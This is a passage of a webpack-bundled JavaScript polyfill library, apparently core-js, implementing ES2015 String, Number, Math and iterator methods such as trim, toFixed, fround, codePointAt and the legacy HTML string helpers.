if(S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf){
setPrototypeOf(that, P);
} return that;
};
/***/ },
/* 81 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, defined = __webpack_require__(33)
, fails = __webpack_require__(5)
, spaces = __webpack_require__(82)
, space = '[' + spaces + ']'
, non = '\u200b\u0085'
, ltrim = RegExp('^' + space + space + '*')
, rtrim = RegExp(space + space + '*$');
var exporter = function(KEY, exec, ALIAS){
var exp = {};
var FORCE = fails(function(){
return !!spaces[KEY]() || non[KEY]() != non;
});
var fn = exp[KEY] = FORCE ? exec(trim) : spaces[KEY];
if(ALIAS)exp[ALIAS] = fn;
$export($export.P + $export.F * FORCE, 'String', exp);
};
// 1 -> String#trimLeft
// 2 -> String#trimRight
// 3 -> String#trim
var trim = exporter.trim = function(string, TYPE){
string = String(defined(string));
if(TYPE & 1)string = string.replace(ltrim, '');
if(TYPE & 2)string = string.replace(rtrim, '');
return string;
};
module.exports = exporter;
/***/ },
/* 82 */
/***/ function(module, exports) {
module.exports = '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003' +
'\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF';
/***/ },
/* 83 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toInteger = __webpack_require__(36)
, aNumberValue = __webpack_require__(84)
, repeat = __webpack_require__(85)
, $toFixed = 1..toFixed
, floor = Math.floor
, data = [0, 0, 0, 0, 0, 0]
, ERROR = 'Number.toFixed: incorrect invocation!'
, ZERO = '0';
var multiply = function(n, c){
var i = -1
, c2 = c;
while(++i < 6){
c2 += n * data[i];
data[i] = c2 % 1e7;
c2 = floor(c2 / 1e7);
}
};
var divide = function(n){
var i = 6
, c = 0;
while(--i >= 0){
c += data[i];
data[i] = floor(c / n);
c = (c % n) * 1e7;
}
};
var numToString = function(){
var i = 6
, s = '';
while(--i >= 0){
if(s !== '' || i === 0 || data[i] !== 0){
var t = String(data[i]);
s = s === '' ? t : s + repeat.call(ZERO, 7 - t.length) + t;
}
} return s;
};
var pow = function(x, n, acc){
return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc);
};
var log = function(x){
var n = 0
, x2 = x;
while(x2 >= 4096){
n += 12;
x2 /= 4096;
}
while(x2 >= 2){
n += 1;
x2 /= 2;
} return n;
};
$export($export.P + $export.F * (!!$toFixed && (
0.00008.toFixed(3) !== '0.000' ||
0.9.toFixed(0) !== '1' ||
1.255.toFixed(2) !== '1.25' ||
1000000000000000128..toFixed(0) !== '1000000000000000128'
) || !__webpack_require__(5)(function(){
// V8 ~ Android 4.3-
$toFixed.call({});
})), 'Number', {
toFixed: function toFixed(fractionDigits){
var x = aNumberValue(this, ERROR)
, f = toInteger(fractionDigits)
, s = ''
, m = ZERO
, e, z, j, k;
if(f < 0 || f > 20)throw RangeError(ERROR);
if(x != x)return 'NaN';
if(x <= -1e21 || x >= 1e21)return String(x);
if(x < 0){
s = '-';
x = -x;
}
if(x > 1e-21){
e = log(x * pow(2, 69, 1)) - 69;
z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1);
z *= 0x10000000000000;
e = 52 - e;
if(e > 0){
multiply(0, z);
j = f;
while(j >= 7){
multiply(1e7, 0);
j -= 7;
}
multiply(pow(10, j, 1), 0);
j = e - 1;
while(j >= 23){
divide(1 << 23);
j -= 23;
}
divide(1 << j);
multiply(1, 1);
divide(2);
m = numToString();
} else {
multiply(0, z);
multiply(1 << -e, 0);
m = numToString() + repeat.call(ZERO, f);
}
}
if(f > 0){
k = m.length;
m = s + (k <= f ? '0.' + repeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f));
} else {
m = s + m;
} return m;
}
});
/***/ },
/* 84 */
/***/ function(module, exports, __webpack_require__) {
var cof = __webpack_require__(32);
module.exports = function(it, msg){
if(typeof it != 'number' && cof(it) != 'Number')throw TypeError(msg);
return +it;
};
/***/ },
/* 85 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var toInteger = __webpack_require__(36)
, defined = __webpack_require__(33);
module.exports = function repeat(count){
var str = String(defined(this))
, res = ''
, n = toInteger(count);
if(n < 0 || n == Infinity)throw RangeError("Count can't be negative");
for(;n > 0; (n >>>= 1) && (str += str))if(n & 1)res += str;
return res;
};
/***/ },
/* 86 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $fails = __webpack_require__(5)
, aNumberValue = __webpack_require__(84)
, $toPrecision = 1..toPrecision;
$export($export.P + $export.F * ($fails(function(){
// IE7-
return $toPrecision.call(1, undefined) !== '1';
}) || !$fails(function(){
// V8 ~ Android 4.3-
$toPrecision.call({});
})), 'Number', {
toPrecision: function toPrecision(precision){
var that = aNumberValue(this, 'Number#toPrecision: incorrect invocation!');
return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision);
}
});
/***/ },
/* 87 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.1 Number.EPSILON
var $export = __webpack_require__(6);
$export($export.S, 'Number', {EPSILON: Math.pow(2, -52)});
/***/ },
/* 88 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.2 Number.isFinite(number)
var $export = __webpack_require__(6)
, _isFinite = __webpack_require__(2).isFinite;
$export($export.S, 'Number', {
isFinite: function isFinite(it){
return typeof it == 'number' && _isFinite(it);
}
});
/***/ },
/* 89 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.3 Number.isInteger(number)
var $export = __webpack_require__(6);
$export($export.S, 'Number', {isInteger: __webpack_require__(90)});
/***/ },
/* 90 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.3 Number.isInteger(number)
var isObject = __webpack_require__(11)
, floor = Math.floor;
module.exports = function isInteger(it){
return !isObject(it) && isFinite(it) && floor(it) === it;
};
/***/ },
/* 91 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.4 Number.isNaN(number)
var $export = __webpack_require__(6);
$export($export.S, 'Number', {
isNaN: function isNaN(number){
return number != number;
}
});
/***/ },
/* 92 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.5 Number.isSafeInteger(number)
var $export = __webpack_require__(6)
, isInteger = __webpack_require__(90)
, abs = Math.abs;
$export($export.S, 'Number', {
isSafeInteger: function isSafeInteger(number){
return isInteger(number) && abs(number) <= 0x1fffffffffffff;
}
});
/***/ },
/* 93 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.6 Number.MAX_SAFE_INTEGER
var $export = __webpack_require__(6);
$export($export.S, 'Number', {MAX_SAFE_INTEGER: 0x1fffffffffffff});
/***/ },
/* 94 */
/***/ function(module, exports, __webpack_require__) {
// 20.1.2.10 Number.MIN_SAFE_INTEGER
var $export = __webpack_require__(6);
$export($export.S, 'Number', {MIN_SAFE_INTEGER: -0x1fffffffffffff});
/***/ },
/* 95 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, $parseFloat = __webpack_require__(96);
// 20.1.2.12 Number.parseFloat(string)
$export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', {parseFloat: $parseFloat});
/***/ },
/* 96 */
/***/ function(module, exports, __webpack_require__) {
var $parseFloat = __webpack_require__(2).parseFloat
, $trim = __webpack_require__(81).trim;
module.exports = 1 / $parseFloat(__webpack_require__(82) + '-0') !== -Infinity ? function parseFloat(str){
var string = $trim(String(str), 3)
, result = $parseFloat(string);
return result === 0 && string.charAt(0) == '-' ? -0 : result;
} : $parseFloat;
/***/ },
/* 97 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, $parseInt = __webpack_require__(98);
// 20.1.2.13 Number.parseInt(string, radix)
$export($export.S + $export.F * (Number.parseInt != $parseInt), 'Number', {parseInt: $parseInt});
/***/ },
/* 98 */
/***/ function(module, exports, __webpack_require__) {
var $parseInt = __webpack_require__(2).parseInt
, $trim = __webpack_require__(81).trim
, ws = __webpack_require__(82)
, hex = /^[\-+]?0[xX]/;
module.exports = $parseInt(ws + '08') !== 8 || $parseInt(ws + '0x16') !== 22 ? function parseInt(str, radix){
var string = $trim(String(str), 3);
return $parseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10));
} : $parseInt;
/***/ },
/* 99 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, $parseInt = __webpack_require__(98);
// 18.2.5 parseInt(string, radix)
$export($export.G + $export.F * (parseInt != $parseInt), {parseInt: $parseInt});
/***/ },
/* 100 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, $parseFloat = __webpack_require__(96);
// 18.2.4 parseFloat(string)
$export($export.G + $export.F * (parseFloat != $parseFloat), {parseFloat: $parseFloat});
/***/ },
/* 101 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.3 Math.acosh(x)
var $export = __webpack_require__(6)
, log1p = __webpack_require__(102)
, sqrt = Math.sqrt
, $acosh = Math.acosh;
$export($export.S + $export.F * !($acosh
// V8 bug: https://code.google.com/p/v8/issues/detail?id=3509
&& Math.floor($acosh(Number.MAX_VALUE)) == 710
// Tor Browser bug: Math.acosh(Infinity) -> NaN
&& $acosh(Infinity) == Infinity
), 'Math', {
acosh: function acosh(x){
return (x = +x) < 1 ? NaN : x > 94906265.62425156
? Math.log(x) + Math.LN2
: log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1));
}
});
/***/ },
/* 102 */
/***/ function(module, exports) {
// 20.2.2.20 Math.log1p(x)
module.exports = Math.log1p || function log1p(x){
return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x);
};
/***/ },
/* 103 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.5 Math.asinh(x)
var $export = __webpack_require__(6)
, $asinh = Math.asinh;
function asinh(x){
return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1));
}
// Tor Browser bug: Math.asinh(0) -> -0
$export($export.S + $export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', {asinh: asinh});
/***/ },
/* 104 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.7 Math.atanh(x)
var $export = __webpack_require__(6)
, $atanh = Math.atanh;
// Tor Browser bug: Math.atanh(-0) -> 0
$export($export.S + $export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', {
atanh: function atanh(x){
return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2;
}
});
/***/ },
/* 105 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.9 Math.cbrt(x)
var $export = __webpack_require__(6)
, sign = __webpack_require__(106);
$export($export.S, 'Math', {
cbrt: function cbrt(x){
return sign(x = +x) * Math.pow(Math.abs(x), 1 / 3);
}
});
/***/ },
/* 106 */
/***/ function(module, exports) {
// 20.2.2.28 Math.sign(x)
module.exports = Math.sign || function sign(x){
return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1;
};
/***/ },
/* 107 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.11 Math.clz32(x)
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
clz32: function clz32(x){
return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32;
}
});
/***/ },
/* 108 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.12 Math.cosh(x)
var $export = __webpack_require__(6)
, exp = Math.exp;
$export($export.S, 'Math', {
cosh: function cosh(x){
return (exp(x = +x) + exp(-x)) / 2;
}
});
/***/ },
/* 109 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.14 Math.expm1(x)
var $export = __webpack_require__(6)
, $expm1 = __webpack_require__(110);
$export($export.S + $export.F * ($expm1 != Math.expm1), 'Math', {expm1: $expm1});
/***/ },
/* 110 */
/***/ function(module, exports) {
// 20.2.2.14 Math.expm1(x)
var $expm1 = Math.expm1;
module.exports = (!$expm1
// Old FF bug
|| $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168
// Tor Browser bug
|| $expm1(-2e-17) != -2e-17
) ? function expm1(x){
return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1;
} : $expm1;
/***/ },
/* 111 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.16 Math.fround(x)
var $export = __webpack_require__(6)
, sign = __webpack_require__(106)
, pow = Math.pow
, EPSILON = pow(2, -52)
, EPSILON32 = pow(2, -23)
, MAX32 = pow(2, 127) * (2 - EPSILON32)
, MIN32 = pow(2, -126);
var roundTiesToEven = function(n){
return n + 1 / EPSILON - 1 / EPSILON;
};
$export($export.S, 'Math', {
fround: function fround(x){
var $abs = Math.abs(x)
, $sign = sign(x)
, a, result;
if($abs < MIN32)return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32;
a = (1 + EPSILON32 / EPSILON) * $abs;
result = a - (a - $abs);
if(result > MAX32 || result != result)return $sign * Infinity;
return $sign * result;
}
});
/***/ },
/* 112 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.17 Math.hypot([value1[, value2[, … ]]])
var $export = __webpack_require__(6)
, abs = Math.abs;
$export($export.S, 'Math', {
hypot: function hypot(value1, value2){ // eslint-disable-line no-unused-vars
var sum = 0
, i = 0
, aLen = arguments.length
, larg = 0
, arg, div;
while(i < aLen){
arg = abs(arguments[i++]);
if(larg < arg){
div = larg / arg;
sum = sum * div * div + 1;
larg = arg;
} else if(arg > 0){
div = arg / larg;
sum += div * div;
} else sum += arg;
}
return larg === Infinity ? Infinity : larg * Math.sqrt(sum);
}
});
/***/ },
/* 113 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.18 Math.imul(x, y)
var $export = __webpack_require__(6)
, $imul = Math.imul;
// some WebKit versions fails with big numbers, some has wrong arity
$export($export.S + $export.F * __webpack_require__(5)(function(){
return $imul(0xffffffff, 5) != -5 || $imul.length != 2;
}), 'Math', {
imul: function imul(x, y){
var UINT16 = 0xffff
, xn = +x
, yn = +y
, xl = UINT16 & xn
, yl = UINT16 & yn;
return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0);
}
});
/***/ },
/* 114 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.21 Math.log10(x)
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
log10: function log10(x){
return Math.log(x) / Math.LN10;
}
});
/***/ },
/* 115 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.20 Math.log1p(x)
var $export = __webpack_require__(6);
$export($export.S, 'Math', {log1p: __webpack_require__(102)});
/***/ },
/* 116 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.22 Math.log2(x)
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
log2: function log2(x){
return Math.log(x) / Math.LN2;
}
});
/***/ },
/* 117 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.28 Math.sign(x)
var $export = __webpack_require__(6);
$export($export.S, 'Math', {sign: __webpack_require__(106)});
/***/ },
/* 118 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.30 Math.sinh(x)
var $export = __webpack_require__(6)
, expm1 = __webpack_require__(110)
, exp = Math.exp;
// V8 near Chromium 38 has a problem with very small numbers
$export($export.S + $export.F * __webpack_require__(5)(function(){
return !Math.sinh(-2e-17) != -2e-17;
}), 'Math', {
sinh: function sinh(x){
return Math.abs(x = +x) < 1
? (expm1(x) - expm1(-x)) / 2
: (exp(x - 1) - exp(-x - 1)) * (Math.E / 2);
}
});
/***/ },
/* 119 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.33 Math.tanh(x)
var $export = __webpack_require__(6)
, expm1 = __webpack_require__(110)
, exp = Math.exp;
$export($export.S, 'Math', {
tanh: function tanh(x){
var a = expm1(x = +x)
, b = expm1(-x);
return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x));
}
});
/***/ },
/* 120 */
/***/ function(module, exports, __webpack_require__) {
// 20.2.2.34 Math.trunc(x)
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
trunc: function trunc(it){
return (it > 0 ? Math.floor : Math.ceil)(it);
}
});
/***/ },
/* 121 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, toIndex = __webpack_require__(37)
, fromCharCode = String.fromCharCode
, $fromCodePoint = String.fromCodePoint;
// length should be 1, old FF problem
$export($export.S + $export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', {
// 21.1.2.2 String.fromCodePoint(...codePoints)
fromCodePoint: function fromCodePoint(x){ // eslint-disable-line no-unused-vars
var res = []
, aLen = arguments.length
, i = 0
, code;
while(aLen > i){
code = +arguments[i++];
if(toIndex(code, 0x10ffff) !== code)throw RangeError(code + ' is not a valid code point');
res.push(code < 0x10000
? fromCharCode(code)
: fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00)
);
} return res.join('');
}
});
/***/ },
/* 122 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, toIObject = __webpack_require__(30)
, toLength = __webpack_require__(35);
$export($export.S, 'String', {
// 21.1.2.4 String.raw(callSite, ...substitutions)
raw: function raw(callSite){
var tpl = toIObject(callSite.raw)
, len = toLength(tpl.length)
, aLen = arguments.length
, res = []
, i = 0;
while(len > i){
res.push(String(tpl[i++]));
if(i < aLen)res.push(String(arguments[i]));
} return res.join('');
}
});
/***/ },
/* 123 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 21.1.3.25 String.prototype.trim()
__webpack_require__(81)('trim', function($trim){
return function trim(){
return $trim(this, 3);
};
});
/***/ },
/* 124 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $at = __webpack_require__(125)(false);
$export($export.P, 'String', {
// 21.1.3.3 String.prototype.codePointAt(pos)
codePointAt: function codePointAt(pos){
return $at(this, pos);
}
});
/***/ },
/* 125 */
/***/ function(module, exports, __webpack_require__) {
var toInteger = __webpack_require__(36)
, defined = __webpack_require__(33);
// true -> String#at
// false -> String#codePointAt
module.exports = function(TO_STRING){
return function(that, pos){
var s = String(defined(that))
, i = toInteger(pos)
, l = s.length
, a, b;
if(i < 0 || i >= l)return TO_STRING ? '' : undefined;
a = s.charCodeAt(i);
return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff
? TO_STRING ? s.charAt(i) : a
: TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000;
};
};
/***/ },
/* 126 */
/***/ function(module, exports, __webpack_require__) {
// 21.1.3.6 String.prototype.endsWith(searchString [, endPosition])
'use strict';
var $export = __webpack_require__(6)
, toLength = __webpack_require__(35)
, context = __webpack_require__(127)
, ENDS_WITH = 'endsWith'
, $endsWith = ''[ENDS_WITH];
$export($export.P + $export.F * __webpack_require__(129)(ENDS_WITH), 'String', {
endsWith: function endsWith(searchString /*, endPosition = @length */){
var that = context(this, searchString, ENDS_WITH)
, endPosition = arguments.length > 1 ? arguments[1] : undefined
, len = toLength(that.length)
, end = endPosition === undefined ? len : Math.min(toLength(endPosition), len)
, search = String(searchString);
return $endsWith
? $endsWith.call(that, search, end)
: that.slice(end - search.length, end) === search;
}
});
/***/ },
/* 127 */
/***/ function(module, exports, __webpack_require__) {
// helper for String#{startsWith, endsWith, includes}
var isRegExp = __webpack_require__(128)
, defined = __webpack_require__(33);
module.exports = function(that, searchString, NAME){
if(isRegExp(searchString))throw TypeError('String#' + NAME + " doesn't accept regex!");
return String(defined(that));
};
/***/ },
/* 128 */
/***/ function(module, exports, __webpack_require__) {
// 7.2.8 IsRegExp(argument)
var isObject = __webpack_require__(11)
, cof = __webpack_require__(32)
, MATCH = __webpack_require__(23)('match');
module.exports = function(it){
var isRegExp;
return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp');
};
/***/ },
/* 129 */
/***/ function(module, exports, __webpack_require__) {
var MATCH = __webpack_require__(23)('match');
module.exports = function(KEY){
var re = /./;
try {
'/./'[KEY](re);
} catch(e){
try {
re[MATCH] = false;
return !'/./'[KEY](re);
} catch(f){ /* empty */ }
} return true;
};
/***/ },
/* 130 */
/***/ function(module, exports, __webpack_require__) {
// 21.1.3.7 String.prototype.includes(searchString, position = 0)
'use strict';
var $export = __webpack_require__(6)
, context = __webpack_require__(127)
, INCLUDES = 'includes';
$export($export.P + $export.F * __webpack_require__(129)(INCLUDES), 'String', {
includes: function includes(searchString /*, position = 0 */){
return !!~context(this, searchString, INCLUDES)
.indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined);
}
});
/***/ },
/* 131 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6);
$export($export.P, 'String', {
// 21.1.3.13 String.prototype.repeat(count)
repeat: __webpack_require__(85)
});
/***/ },
/* 132 */
/***/ function(module, exports, __webpack_require__) {
// 21.1.3.18 String.prototype.startsWith(searchString [, position ])
'use strict';
var $export = __webpack_require__(6)
, toLength = __webpack_require__(35)
, context = __webpack_require__(127)
, STARTS_WITH = 'startsWith'
, $startsWith = ''[STARTS_WITH];
$export($export.P + $export.F * __webpack_require__(129)(STARTS_WITH), 'String', {
startsWith: function startsWith(searchString /*, position = 0 */){
var that = context(this, searchString, STARTS_WITH)
, index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length))
, search = String(searchString);
return $startsWith
? $startsWith.call(that, search, index)
: that.slice(index, index + search.length) === search;
}
});
/***/ },
/* 133 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $at = __webpack_require__(125)(true);
// 21.1.3.27 String.prototype[@@iterator]()
__webpack_require__(134)(String, 'String', function(iterated){
this._t = String(iterated); // target
this._i = 0; // next index
// 21.1.5.2.1 %StringIteratorPrototype%.next()
}, function(){
var O = this._t
, index = this._i
, point;
if(index >= O.length)return {value: undefined, done: true};
point = $at(O, index);
this._i += point.length;
return {value: point, done: false};
});
/***/ },
/* 134 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var LIBRARY = __webpack_require__(26)
, $export = __webpack_require__(6)
, redefine = __webpack_require__(16)
, hide = __webpack_require__(8)
, has = __webpack_require__(3)
, Iterators = __webpack_require__(135)
, $iterCreate = __webpack_require__(136)
, setToStringTag = __webpack_require__(22)
, getPrototypeOf = __webpack_require__(57)
, ITERATOR = __webpack_require__(23)('iterator')
, BUGGY = !([].keys && 'next' in [].keys()) // Safari has buggy iterators w/o `next`
, FF_ITERATOR = '@@iterator'
, KEYS = 'keys'
, VALUES = 'values';
var returnThis = function(){ return this; };
module.exports = function(Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED){
$iterCreate(Constructor, NAME, next);
var getMethod = function(kind){
if(!BUGGY && kind in proto)return proto[kind];
switch(kind){
case KEYS: return function keys(){ return new Constructor(this, kind); };
case VALUES: return function values(){ return new Constructor(this, kind); };
} return function entries(){ return new Constructor(this, kind); };
};
var TAG = NAME + ' Iterator'
, DEF_VALUES = DEFAULT == VALUES
, VALUES_BUG = false
, proto = Base.prototype
, $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT]
, $default = $native || getMethod(DEFAULT)
, $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined
, $anyNative = NAME == 'Array' ? proto.entries || $native : $native
, methods, key, IteratorPrototype;
// Fix native
if($anyNative){
IteratorPrototype = getPrototypeOf($anyNative.call(new Base));
if(IteratorPrototype !== Object.prototype){
// Set @@toStringTag to native iterators
setToStringTag(IteratorPrototype, TAG, true);
// fix for some old engines
if(!LIBRARY && !has(IteratorPrototype, ITERATOR))hide(IteratorPrototype, ITERATOR, returnThis);
}
}
// fix Array#{values, @@iterator}.name in V8 / FF
if(DEF_VALUES && $native && $native.name !== VALUES){
VALUES_BUG = true;
$default = function values(){ return $native.call(this); };
}
// Define iterator
if((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])){
hide(proto, ITERATOR, $default);
}
// Plug for library
Iterators[NAME] = $default;
Iterators[TAG] = returnThis;
if(DEFAULT){
methods = {
values: DEF_VALUES ? $default : getMethod(VALUES),
keys: IS_SET ? $default : getMethod(KEYS),
entries: $entries
};
if(FORCED)for(key in methods){
if(!(key in proto))redefine(proto, key, methods[key]);
} else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);
}
return methods;
};
/***/ },
/* 135 */
/***/ function(module, exports) {
module.exports = {};
/***/ },
/* 136 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var create = __webpack_require__(44)
, descriptor = __webpack_require__(15)
, setToStringTag = __webpack_require__(22)
, IteratorPrototype = {};
// 25.1.2.1.1 %IteratorPrototype%[@@iterator]()
__webpack_require__(8)(IteratorPrototype, __webpack_require__(23)('iterator'), function(){ return this; });
module.exports = function(Constructor, NAME, next){
Constructor.prototype = create(IteratorPrototype, {next: descriptor(1, next)});
setToStringTag(Constructor, NAME + ' Iterator');
};
/***/ },
/* 137 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.2 String.prototype.anchor(name)
__webpack_require__(138)('anchor', function(createHTML){
return function anchor(name){
return createHTML(this, 'a', 'name', name);
}
});
/***/ },
/* 138 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, fails = __webpack_require__(5)
, defined = __webpack_require__(33)
, quot = /"/g;
// B.2.3.2.1 CreateHTML(string, tag, attribute, value)
var createHTML = function(string, tag, attribute, value) {
var S = String(defined(string))
, p1 = '<' + tag;
if(attribute !== '')p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"';
return p1 + '>' + S + '</' + tag + '>';
};
module.exports = function(NAME, exec){
var O = {};
O[NAME] = exec(createHTML);
$export($export.P + $export.F * fails(function(){
var test = ''[NAME]('"');
return test !== test.toLowerCase() || test.split('"').length > 3;
}), 'String', O);
};
/***/ },
/* 139 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.3 String.prototype.big()
__webpack_require__(138)('big', function(createHTML){
return function big(){
return createHTML(this, 'big', '', '');
}
});
/***/ },
/* 140 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.4 String.prototype.blink()
__webpack_require__(138)('blink', function(createHTML){
return function blink(){
return createHTML(this, 'blink', '', '');
}
});
/***/ },
/* 141 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.5 String.prototype.bold()
__webpack_require__(138)('bold', function(createHTML){
return function bold(){
return createHTML(this, 'b', '', '');
}
});
/***/ },
/* 142 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.6 String.prototype.fixed()
__webpack_require__(138)('fixed', function(createHTML){
return function fixed(){
return createHTML(this, 'tt', '', '');
}
});
/***/ },
/* 143 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.7 String.prototype.fontcolor(color)
__webpack_require__(138)('fontcolor', function(createHTML){
return function fontcolor(color){
return createHTML(this, 'font', 'color', color);
}
});
/***/ },
/* 144 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.8 String.prototype.fontsize(size)
__webpack_require__(138)('fontsize', function(createHTML){
return function fontsize(size){
return createHTML(this, 'font', 'size', size);
}
});
/***/ },
/* 145 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.9 String.prototype.italics()
__webpack_require__(138)('italics', function(createHTML){
return function italics(){
return createHTML(this, 'i', '', '');
}
});
/***/ },
/* 146 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.10 String.prototype.link(url)
__webpack_require__(138)('link', function(createHTML){
return function link(url){
return createHTML(this, 'a', 'href', url);
}
});
/***/ },
/* 147 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.11 String.prototype.small()
__webpack_require__(138)('small', function(createHTML){
return function small(){
return createHTML(this, 'small', '', '');
}
});
/***/ },
/* 148 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.12 String.prototype.strike()
__webpack_require__(138)('strike', function(createHTML){
return function strike(){
return createHTML(this, 'strike', '', '');
}
});
/***/ },
/* 149 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.13 String.prototype.sub()
__webpack_require__(138)('sub', function(createHTML){
return function sub(){
return createHTML(this, 'sub', '', '');
}
});
/***/ },
/* 150 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// B.2.3.14 String.prototype.sup()
__webpack_require__(138)('sup', function(createHTML){
return function sup(){
return createHTML(this, 'sup', '', '');
}
});
/***/ },
/* 151 */
/***/ function(module, exports, __webpack_require__) {
// 22.1.2.2 / 15.4.3.2 Array.isArray(arg)
var $export = __webpack_require__(6);
$export($export.S, 'Array', {isArray: __webpack_require__(43)});
/***/ },
/* 152 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var ctx = __webpack_require__(18)
, $export = __webpack_require__(6)
, toObject = __webpack_require__(56)
, call = __webpack_require__(153)
, isArrayIter = __webpack_require__(154)
, toLength = __webpack_require__(35)
, createProperty = __webpack_require__(155)
, getIterFn = __webpack_require__(156);
$export($export.S + $export.F * !__webpack_require__(157)(function(iter){ Array.from(iter); }), 'Array', {
// 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined)
from: function from(arrayLike/*, mapfn = undefined, thisArg = undefined*/){
var O = toObject(arrayLike)
, C = typeof this == 'function' ? this : Array
, aLen = arguments.length
